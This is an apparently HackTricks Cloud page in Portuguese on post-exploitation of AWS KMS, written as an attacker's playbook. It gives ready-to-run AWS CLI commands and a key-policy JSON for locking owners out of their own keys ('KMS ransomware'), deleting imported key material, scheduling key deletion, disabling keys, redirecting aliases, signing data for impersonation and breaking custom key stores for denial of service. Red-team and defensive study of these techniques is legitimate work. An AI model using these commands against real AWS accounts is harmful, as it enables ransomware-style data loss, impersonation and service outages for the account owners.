AWS - KMS Pós-Exploração
Reading time: 7 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
KMS
Para mais informações, consulte:
Criptografar/Descriptografar informações
fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:
fileb://:Lê o arquivo em modo binário, comumente usado para arquivos não textuais.file://:Lê o arquivo em modo texto, tipicamente usado para arquivos de texto simples, scripts ou JSON que não têm requisitos especiais de codificação.
tip
Observe que, se você quiser descriptografar alguns dados dentro de um arquivo, o arquivo deve conter os dados binários, não dados codificados em base64. (fileb://)
- Usando uma simétrica key
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Usando uma chave assimétrica:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
Um atacante com acesso privilegiado ao KMS poderia modificar a KMS policy das keys e conceder à sua conta acesso a elas, removendo o acesso concedido à conta legítima.
Então, os usuários da conta legítima não poderão acessar qualquer informação de qualquer serviço que tenha sido criptografado com essas keys, criando um ransomware simples mas eficaz na conta.
warning
Note que AWS managed keys aren't affected por este ataque, apenas Customer managed keys.
Também observe a necessidade de usar o parâmetro
--bypass-policy-lockout-safety-check(a ausência dessa opção no web console torna este ataque possível apenas via CLI).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
caution
Atenção: observe que se você alterar essa policy e apenas conceder acesso a uma external account, e então a partir dessa external account tentar definir uma nova policy para devolver o acesso à conta original, você não conseguirá porque a Put Polocy action cannot be performed from a cross account.
.png)
Genérico KMS Ransomware
Há outra forma de realizar um KMS Ransomware global, que envolveria os seguintes passos:
- Criar uma nova key with a key material importada pelo atacante
- Re-encrypt older data da vítima, criptografados com a versão anterior, com a nova
- Delete the KMS key
- Agora somente o atacante, que possui o key material original, poderia ser capaz de descriptografar os dados criptografados
Delete Keys via kms:DeleteImportedKeyMaterial
Com a permissão kms:DeleteImportedKeyMaterial, um ator pode deletar o key material importado de CMKs com Origin=EXTERNAL (CMKs que importaram seu key material), tornando-os incapazes de descriptografar dados. Esta ação é destrutiva e irreversível a menos que material compatível seja reimportado, permitindo que um atacante efetivamente cause perda de dados do tipo ransomware ao tornar a informação criptografada permanentemente inacessível.
aws kms delete-imported-key-material --key-id <Key_ID>
Destroy keys
Ao destruir chaves, é possível realizar um DoS.
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
caution
Observe que a AWS agora impede que as ações anteriores sejam executadas a partir de uma conta cruzada:
Alterar ou excluir Alias
Este ataque exclui ou redireciona aliases do AWS KMS, quebrando a resolução de chaves e causando falhas imediatas em quaisquer serviços que dependam desses aliases, resultando em negação de serviço. Com permissões como kms:DeleteAlias ou kms:UpdateAlias um atacante pode remover ou apontar novamente aliases e interromper operações criptográficas (por exemplo, encrypt, describe). Qualquer serviço que referencie o alias em vez do key ID pode falhar até que o alias seja restaurado ou corretamente remapeado.
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
Cancelar exclusão de chave
Com permissões como kms:CancelKeyDeletion e kms:EnableKey, um atacante pode cancelar uma exclusão agendada de uma chave mestra do cliente do AWS KMS e posteriormente reativá-la. Ao fazer isso, a chave é recuperada (inicialmente em estado Disabled) e sua capacidade de descriptografar dados previamente protegidos é restaurada, permitindo exfiltração.
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
Desativar Chave
Com a permissão kms:DisableKey, um ator pode desativar uma customer master key do AWS KMS, impedindo que ela seja usada para criptografia ou descriptografia. Isso interrompe o acesso de quaisquer serviços que dependam dessa CMK e pode causar interrupções imediatas ou um denial-of-service até que a chave seja reativada.
aws kms disable-key \
--key-id <key_id>
Derive Shared Secret
Com a permissão kms:DeriveSharedSecret, um ator pode usar uma private key mantida pelo KMS e uma public key fornecida pelo usuário para calcular um ECDH shared secret.
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
Impersonation via kms:Sign
Com a permissão kms:Sign, um agente pode usar uma CMK armazenada no KMS para assinar criptograficamente dados sem expor a chave privada, produzindo assinaturas válidas que podem permitir impersonation ou autorizar ações maliciosas.
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
DoS com Custom Key Stores
Com permissões como kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore ou kms:UpdateCustomKeyStore, um ator pode modificar, desconectar ou excluir um AWS KMS Custom Key Store (CKS), tornando suas chaves mestres inoperáveis. Isso interrompe as operações de criptografia, descriptografia e assinatura para quaisquer serviços que dependam dessas chaves e pode causar um denial-of-service imediato. Restringir e monitorar essas permissões é, portanto, crítico.
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
.png)
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud